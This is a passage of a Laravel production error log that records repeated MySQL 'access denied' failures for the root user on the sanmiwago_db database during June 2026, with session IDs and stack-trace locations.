denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gLTxRslbUVZQ43UOokF0nJ9RKuNFKZGkLY28GYug limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = gLTxRslbUVZQ43UOokF0nJ9RKuNFKZGkLY28GYug limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-07 10:52:55] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CXZoY7gDGU0LzpEKwm2N5HZyatuCUNepjZDdTK7H limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CXZoY7gDGU0LzpEKwm2N5HZyatuCUNepjZDdTK7H limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-08 07:17:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = K0dH5Mwa5jSYpSK1qZ7OKktVC3Aev7kQmWS8h0Dj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = K0dH5Mwa5jSYpSK1qZ7OKktVC3Aev7kQmWS8h0Dj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-09 03:10:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VepJmk9UHZsa0F0ThMtF6hK5dYmBH4B8DVAjfNIJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VepJmk9UHZsa0F0ThMtF6hK5dYmBH4B8DVAjfNIJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-09 06:14:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = O4jXTkl9klhbccdF4uyHah4k4WAvN0gliH5rrUgj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = O4jXTkl9klhbccdF4uyHah4k4WAvN0gliH5rrUgj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-09 12:34:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UFEFtYdY3rHoKIYVc5CfHbQ3vFQGKhKqmJn15cVF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UFEFtYdY3rHoKIYVc5CfHbQ3vFQGKhKqmJn15cVF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-09 12:34:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Zim0Px1aTaug7umjdl3VcKvTcZ9ZpdlVNq8p1nI7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Zim0Px1aTaug7umjdl3VcKvTcZ9ZpdlVNq8p1nI7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-09 13:35:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = osNkeK0WfdYeD4Q4eBBNNHyWeb6N5AZEPlvU1kHs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = osNkeK0WfdYeD4Q4eBBNNHyWeb6N5AZEPlvU1kHs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-09 18:43:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = noBXXoXjjciZUPdY2h3OcnfVOefDZMG1iZz8hOKw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = noBXXoXjjciZUPdY2h3OcnfVOefDZMG1iZz8hOKw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-10 07:22:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KtPHD4v1tIeKnqNEpqvasJMy21wPAKsZihrQVqax limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KtPHD4v1tIeKnqNEpqvasJMy21wPAKsZihrQVqax limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-10 07:24:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CSrrJ0jIHzvyJ0Zh6UlME5i9AMDGUSxKzv5lipM7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CSrrJ0jIHzvyJ0Zh6UlME5i9AMDGUSxKzv5lipM7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-11 08:54:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PwewTJJ4SB8fW3QIpz8dvGUGXiFNTx6wNvO4CB25 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = PwewTJJ4SB8fW3QIpz8dvGUGXiFNTx6wNvO4CB25 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-11 16:29:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NrbnLIhyfH8hYgTPeeRpSNHdpPW3W8qF5HToubyY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NrbnLIhyfH8hYgTPeeRpSNHdpPW3W8qF5HToubyY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-12 16:43:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wjZFwoiSpgFXrhDIK446kB0CSULYZxtb6dStGLHR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wjZFwoiSpgFXrhDIK446kB0CSULYZxtb6dStGLHR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-12 16:43:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9NCqdg5sMIbWLs0gH6Ex1MawwOlTC90qbRqAifhV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9NCqdg5sMIbWLs0gH6Ex1MawwOlTC90qbRqAifhV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-12 21:58:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mMloD8DRzvah04OPpvUnh7ItGEIX2suLV7xW4Ks7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mMloD8DRzvah04OPpvUnh7ItGEIX2suLV7xW4Ks7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-13 06:30:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bFLqfMVSRObtnhsFKh95cHFNP56RyKdH5jsHePrR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bFLqfMVSRObtnhsFKh95cHFNP56RyKdH5jsHePrR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-13 19:22:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3AR3mEaE7JW2cnMXRssb9M5gc7adPZLblytvqyCq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3AR3mEaE7JW2cnMXRssb9M5gc7adPZLblytvqyCq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-13 21:07:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = E0Xo9Gk20Wz3WEHJWXCAhrSaxvxSPxLjNOljzjX7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = E0Xo9Gk20Wz3WEHJWXCAhrSaxvxSPxLjNOljzjX7 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-13 22:54:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SQiBIXIZze8MWjd0yLxTYSjtT9zEDcu8jwkoqib8 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SQiBIXIZze8MWjd0yLxTYSjtT9zEDcu8jwkoqib8 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-14 12:35:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M06G7GfBbfFYupVi4Qbt1iFlhMwbZi09nRYsfjpB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M06G7GfBbfFYupVi4Qbt1iFlhMwbZi09nRYsfjpB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-14 19:18:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6VYyoDzuJjspj31rXq7USIDA5P6rledGnQbFz24H limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6VYyoDzuJjspj31rXq7USIDA5P6rledGnQbFz24H limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-15 02:42:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = woYs99IS2ohywR8kE1VRWcBHImCWpXIAJeF8sZmt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = woYs99IS2ohywR8kE1VRWcBHImCWpXIAJeF8sZmt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-15 03:43:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SVyBi83O7jOt2my0oaNNAuEGfYhZQKMAOadbb56W limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = SVyBi83O7jOt2my0oaNNAuEGfYhZQKMAOadbb56W limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-15 04:41:36] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wI9qxdt3Gx5Et04MIdxPo1DuhhEiGwgnSjolU7aJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wI9qxdt3Gx5Et04MIdxPo1DuhhEiGwgnSjolU7aJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-16 15:11:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7RSAoF9qyiodZhTNeCoUMwsI5tqqNHVOa8qEEJiz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7RSAoF9qyiodZhTNeCoUMwsI5tqqNHVOa8qEEJiz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-16 16:04:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CfvfnjCSpBNzEaCDlPEOuqlmI9d14DUAGFqvi8Tz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CfvfnjCSpBNzEaCDlPEOuqlmI9d14DUAGFqvi8Tz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-16 22:32:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8grhxl3NugExatImdbwgsm8yLuK92exFJZJ6ZWvs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8grhxl3NugExatImdbwgsm8yLuK92exFJZJ6ZWvs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-17 03:30:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AnSqHW3lphFt3Czm4jRRIGn9nqPCgEbmNDFCPO0x limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AnSqHW3lphFt3Czm4jRRIGn9nqPCgEbmNDFCPO0x limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-17 10:18:55] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tNMfE5PuXe4TzBpx75CfYgqE3MaySMnxN9DeMxKp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tNMfE5PuXe4TzBpx75CfYgqE3MaySMnxN9DeMxKp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-06-18 05:54:39] 